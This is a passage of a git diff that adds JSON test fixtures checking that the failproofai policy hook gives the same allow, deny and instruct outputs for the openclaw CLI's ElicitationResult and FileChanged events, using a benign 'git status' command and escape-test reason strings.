"tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/ElicitationResult/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/ElicitationResult/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..58d91885 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ElicitationResult/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/ElicitationResult/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/ElicitationResult/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..e26bca19 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ElicitationResult/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/ElicitationResult/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/ElicitationResult/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..1852b1fd --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ElicitationResult/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/FileChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/FileChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..71a8b3dd --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/FileChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/FileChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/FileChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..e6129c14 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/FileChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/FileChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/FileChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..67e6ac5d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/FileChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/FileChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/FileChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..7aef0363 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/FileChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/FileChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/FileChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..91cfac05 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/FileChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/FileChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/FileChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..d773ff97 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/FileChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/FileChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/FileChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..4a8ab3cd --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/FileChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/FileChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/FileChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..ab1b59cb --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/FileChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/FileChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/FileChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..d30a421a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/FileChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/FileChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/FileChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..e2971d47 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/FileChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/FileChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/FileChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..9852522a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/FileChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/FileChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/FileChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..182c4256 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/FileChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/FileChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/FileChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..432058f7 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/FileChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/FileChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/FileChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..cd9f9d37 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/FileChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/FileChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/FileChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..b091b207 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/FileChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" 